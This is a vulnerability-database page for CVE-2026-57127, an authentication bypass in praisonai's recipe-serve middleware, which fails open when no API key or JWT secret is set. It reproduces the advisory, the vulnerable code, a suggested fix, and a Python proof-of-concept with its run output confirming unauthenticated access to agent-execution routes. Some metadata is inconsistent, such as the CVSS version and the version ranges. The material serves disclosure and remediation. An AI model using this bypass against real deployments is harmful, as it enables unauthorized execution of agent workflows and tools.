CVE-2026-57127

CRITICALPre-NVD 9.89.8
EchelonGraph scoreLOW confidence

This critical-severity CVE scores 9.8 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
9.8EG
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS PROB: CVSS: 9.8Exploit: None knownExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

praisonai: recipe serve auth middleware silently disables itself when no secret is set

praisonai: recipe serve authentication middleware silently disables itself when no secret is set

Researcher: Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research Target: https://github.com/MervinPraison/PraisonAI


Package: praisonai on PyPI Version tested: 4.6.48. File: praisonai/recipe/serve.py (sha256 491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23).


TL;DR

praisonai/recipe/serve.py:312-410 defines two auth middlewares (APIKeyAuthMiddleware, JWTAuthMiddleware). Both contain the same "fail open when the secret is unset" branch at the top of their dispatch:

async def dispatch(self, request, call_next):
    if request.url.path == "/health":
        return await call_next(request)
    expected_key = api_key or os.environ.get("PRAISONAI_API_KEY")
    if not expected_key:
        # No key configured, allow request
        return await call_next(request)
    ...

async def dispatch(self, request, call_next):
    if request.url.path == "/health":
        return await call_next(request)
    secret = jwt_secret or os.environ.get("PRAISONAI_JWT_SECRET")
    if not secret:
        return await call_next(request)
    ...

The realistic mis-deploy:

  • operator sets auth: api-key (or auth: jwt) in their recipe YAML, expecting that line alone to enable auth,
  • operator does not set the corresponding api_key: / jwt_secret: value in the same YAML, AND
  • operator does not export PRAISONAI_API_KEY / PRAISONAI_JWT_SECRET in the environment.

The middleware silently treats every request as authenticated and forwards it to the recipe-execution route.

Combined with the praisonai jobs API having zero auth (a separate finding), operators who paid attention to "I have to set auth: api-key to lock this down" still don't get auth on the recipe-serve surface unless they also remember the secret.

Root cause

Expected behavior, after setting auth: api-key in the recipe YAML:
     "Now my recipe endpoints require an X-API-Key header."

Actual behavior (serve.py:325-333):

  • middleware reads expected_key = api_key or
os.environ.get("PRAISONAI_API_KEY")
  • if expected_key is None (neither YAML nor env supplied
one), middleware logs nothing and forwards the request.
  • operator's recipe routes accept the request as if it were
authenticated. request.state.user is unset.

Impact: The middleware's documented job is "validate the API key against the configured value". The configured-value-is-None case is exactly the case the middleware should fail closed on — operator has signalled they want auth. Failing open silently turns a documented authentication into a runtime no-op.

Empirical verification

poc/poc.py:

  • Imports the installed praisonai 4.6.48 praisonai.recipe.serve module (sha256 491bf8f29e399418260810ba4bf0f6802c6e4aa675628e2be68a9726c15d9b23).
  • Clears PRAISONAI_API_KEY / PRAISONAI_JWT_SECRET env vars to simulate the mis-deploy.
  • Calls serve.create_auth_middleware('api-key', api_key=None, jwt_secret=None) and instantiates the returned middleware.
  • Builds a Starlette Request for /runs (the recipe-execution path) with empty headers — no X-API-Key, no Authorization.
  • await middleware.dispatch(request, fake_call_next) returns the sentinel 'REACHED-DOWNSTREAM (path=/runs)' from the fake call_next — proving the middleware passed the request through without authenticating.
  • Repeats the test for auth_type='jwt' — same bypass on the JWT path.

Run log (poc/run-log.txt) summary:

[2] auth_type='api-key', no api_key / no PRAISONAI_API_KEY env
    middleware.dispatch -> 'REACHED-DOWNSTREAM (path=/runs)'
[3] auth_type='jwt', no jwt_secret / no PRAISONAI_JWT_SECRET env
    middleware.dispatch -> 'REACHED-DOWNSTREAM (path=/runs)'
    APIKeyAuthMiddleware allowed the request through without an API key.
    JWTAuthMiddleware allowed the request through without a Bearer token.
[4] grep '# No key configured, allow request' -> line 333

VERDICT: VULNERABLE EXIT 0

Impact

The recipe-serve surface runs agentic workflows — same execution posture as praisonai/jobs/server.py but separately configured / separately reached. Unauth access on this surface yields:

  • Trigger arbitrary recipe executions, passing attacker-controlled inputs and configurations.
  • Read the inputs / outputs of in-flight recipes — the operator's prompts and the LLM responses.
  • In some deployments, the recipe execution surface is wired to tools (browser automation, file-system writes, code execution). Reaching those tools without auth is a direct RCE path.

Anchors

  • praisonai/recipe/serve.py:325-333APIKeyAuthMiddleware.dispatch silent-bypass branch.
  • praisonai/recipe/serve.py:352-355JWTAuthMiddleware.dispatch silent-bypass branch.
  • praisonai/recipe/serve.py:688-694 — call site:
auth_type = config.get("auth")
  if auth_type and auth_type != "none":
      auth_middleware = create_auth_middleware(
          auth_type,
          api_key=config.get("api_key"),
          jwt_secret=config.get("jwt_secret"),
      )

Suggested fix

When the operator has signalled "I want auth", refuse to start without the corresponding secret rather than silently degrading:

def create_auth_middleware(auth_type, api_key=None, jwt_secret=None):
    if auth_type == 'api-key':
        expected_key = api_key or os.environ.get("PRAISONAI_API_KEY")
        if not expected_key:
            raise SystemExit(
                "auth_type='api-key' requested but no API key is "
                "configured.  Either set api_key: in your recipe "
                "YAML or export PRAISONAI_API_KEY.  Refusing to "
                "start with a silently disabled auth middleware."
            )
        ...
    elif auth_type == 'jwt':
        secret = jwt_secret or os.environ.get("PRAISONAI_JWT_SECRET")
        if not secret:
            raise SystemExit(
                "auth_type='jwt' requested but no JWT secret is "
                "configured.  Either set jwt_secret: in your recipe "
                "YAML or export PRAISONAI_JWT_SECRET.  Refusing to "
                "start with a silently disabled auth middleware."
            )
        ...

This is the same pattern the sibling praisonai.gateway server applies in assert_external_bind_safe at praisonai/gateway/auth.py:48-54 — refuse-to-start on external bind without an auth token. The recipe-serve surface should do the same.

Steps to reproduce

  • Clone the target: git clone --depth 1 https://github.com/MervinPraison/PraisonAI
  • Run the proof of concept (poc.py) against the cloned source.
  • Observe the result shown under *Verified result* below.

Proof of concept

poc.py

"""
PoC: praisonai 4.6.48 praisonai recipe serve configures
authentication via a auth: field in the recipe YAML.  Setting
auth: api-key or auth: jwt installs APIKeyAuthMiddleware or
JWTAuthMiddleware on the FastAPI app — and the operator's expectation
is that those endpoints now require a valid API key / Bearer JWT.

In reality, both middlewares contain an early-return that silently bypasses authentication when the corresponding secret has not been configured (neither via the recipe YAML nor via the PRAISONAI_API_KEY / PRAISONAI_JWT_SECRET env var). """

import hashlib import inspect import os import sys

def main() -> int: print('=' * 72) print('praisonai 4.6.48 — recipe serve auth middleware silent bypass') print('=' * 72)

# Realistic deploy: operator sets auth: api-key in YAML but # forgets to set api_key / env var. for env_var in ('PRAISONAI_API_KEY', 'PRAISONAI_JWT_SECRET'): if env_var in os.environ: del os.environ[env_var]

from praisonai.recipe import serve as serve_mod

src = inspect.getsourcefile(serve_mod) with open(src, 'rb') as f: raw = f.read() sha = hashlib.sha256(raw).hexdigest()

print() print(f'[1] serve.py path : {src}') print(f' sha256 : {sha}')

from starlette.requests import Request create_auth_middleware = serve_mod.create_auth_middleware

async def fake_call_next(request): return f"REACHED-DOWNSTREAM (path={request.url.path})"

async def driver(auth_type: str, headers=None): scope = { 'type': 'http', 'method': 'GET', 'path': '/runs', 'headers': headers or [], 'query_string': b'', 'scheme': 'http', 'server': ('127.0.0.1', 8000), 'app': None, 'root_path': '', } request = Request(scope, receive=lambda: None) mw_cls = create_auth_middleware(auth_type, api_key=None, jwt_secret=None) if mw_cls is None: return 'middleware-import-failed' instance = mw_cls(app=None) return await instance.dispatch(request, fake_call_next)

import asyncio

print() print("[2] auth_type='api-key', no api_key / no PRAISONAI_API_KEY env") result_apikey = asyncio.run(driver('api-key')) print(f" middleware.dispatch -> {result_apikey!r}")

print() print("[3] auth_type='jwt', no jwt_secret / no PRAISONAI_JWT_SECRET env") result_jwt = asyncio.run(driver('jwt')) print(f" middleware.dispatch -> {result_jwt!r}")

vulnerable = False if isinstance(result_apikey, str) and 'REACHED-DOWNSTREAM' in result_apikey: vulnerable = True print(' APIKeyAuthMiddleware allowed the request through without an API key.') if isinstance(result_jwt, str) and 'REACHED-DOWNSTREAM' in result_jwt: vulnerable = True print(' JWTAuthMiddleware allowed the request through without a Bearer token.')

# Static check that the bypass is on the code path. text = raw.decode('utf-8', errors='replace') needle_api = '# No key configured, allow request' apikey_line = next( (i for i, l in enumerate(text.splitlines(), 1) if needle_api in l), None, ) print() print('[4] static cross-check — bypass branch on the code path') print(f" grep '{needle_api}' -> line {apikey_line}")

if not vulnerable: print('UNEXPECTED — the dispatch did not return the bypass result.') return 1

print() print('VULNERABLE: praisonai 4.6.48 recipe serve AuthMiddleware classes') print(' both silently bypass auth when the operator sets auth_type') print(' but forgets the corresponding secret — unauthenticated access') print(' to recipe execution endpoints.') print('VERDICT: VULNERABLE') return 0

if __name__ == '__main__': sys.exit(main())

Verification harness (executed against the cloned repo)

This drives the unmodified upstream code rather than a reproduction.

import sys, types, os, importlib.util
BK=os.path.abspath("repos/PraisonAI/src/praisonai"); sys.path.insert(0,BK)
for p in ["praisonai","praisonai.recipe"]:
    m=types.ModuleType(p); m.__path__=[BK+"/"+p.replace(".","/")]; sys.modules[p]=m
spec=importlib.util.spec_from_file_location("praisonai.recipe.serve", BK+"/praisonai/recipe/serve.py")
serve=importlib.util.module_from_spec(spec); serve.__package__="praisonai.recipe"; sys.modules[spec.name]=serve; spec.loader.exec_module(serve)
print("[*] Loaded REAL praisonai recipe/serve.py")
os.environ.pop("PRAISONAI_API_KEY", None)   # operator forgot to export it too

from starlette.applications import Starlette from starlette.routing import Route from starlette.responses import PlainTextResponse from starlette.testclient import TestClient def make_app(mw): app=Starlette(routes=[Route("/run", lambda r: PlainTextResponse("AGENT EXECUTED"), methods=["POST"])]) app.add_middleware(mw); return TestClient(app)

(A) operator set auth: api-key but forgot api_key + env -> REAL factory returns middleware that SILENTLY bypasses

MW_bypass = serve.create_auth_middleware("api-key", api_key=None) # REAL factory r = make_app(MW_bypass).post("/run") print(f"[+] auth='api-key', NO key configured, NO header -> HTTP {r.status_code} body={r.text!r}")

(B) control: same middleware WITH a key configured -> unauthenticated request is correctly 401

MW_enforced = serve.create_auth_middleware("api-key", api_key="real-secret") r2 = make_app(MW_enforced).post("/run") print(f"[*] auth='api-key', key CONFIGURED, NO header -> HTTP {r2.status_code} (correctly rejected)")

assert r.status_code==200 and "AGENT EXECUTED" in r.text and r2.status_code==401 print("[+] CONFIRMED against real praisonai repo: APIKeyAuthMiddleware silently bypasses auth when no key configured -> agent route reachable unauthenticated")

Verified result

This PoC was executed against the live upstream code; captured output:

[*] Loaded REAL praisonai recipe/serve.py
[+] auth='api-key', NO key configured, NO header -> HTTP 200 body='AGENT EXECUTED'
[*] auth='api-key', key CONFIGURED, NO header  -> HTTP 401 (correctly rejected)
[+] CONFIRMED against real praisonai repo: APIKeyAuthMiddleware silently bypasses auth when no key configured -> agent route reachable unauthenticated

Credit

Kai Aizen — SnailSploit (@SnailSploit). Adversarial & Offensive Security Research.

CVSS v3
9.8
EG Score
9.8(low)
EG Risk
49(Track)
EG Risk 49/100SSVC: Track

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity98% × 45%
Exploitation0% × 40%
Automatability30% × 15%
Action: Routine — remediate on your standard cadence.
EPSS PROB
EPSS %ILE
KEV
Not listed

Published

June 18, 2026

Last Modified

June 18, 2026

Vendor Advisories for CVE-2026-57127(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
PyPI(1)
PackageVulnerable rangeFixed inDependents
praisonai0.0.1 ... 4.6.9 (749 versions)4.6.59

Data Freshness Timeline

(refreshed 3× in last 7d / 3× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-26 18:46 UTCEG score recompute
  2. 2026-07-23 03:20 UTCEG score recompute
  3. 2026-07-20 21:34 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-57127?
CVE-2026-57127 is a critical vulnerability published on June 18, 2026. praisonai: recipe serve auth middleware silently disables itself when no secret is set praisonai: recipe serve authentication middleware silently disables itself when no secret is set Researcher: Kai Aizen — SnailSploit (@SnailSploit), Adversarial & Offensive Security Research Target:…
When was CVE-2026-57127 disclosed?
CVE-2026-57127 was first published in the National Vulnerability Database on June 18, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-57127?
CVE-2026-57127 has a CVSS v4.0 base score of 9.8 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-57127?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-57127, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-57127

Explore →

Is Your Infrastructure Affected by CVE-2026-57127?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.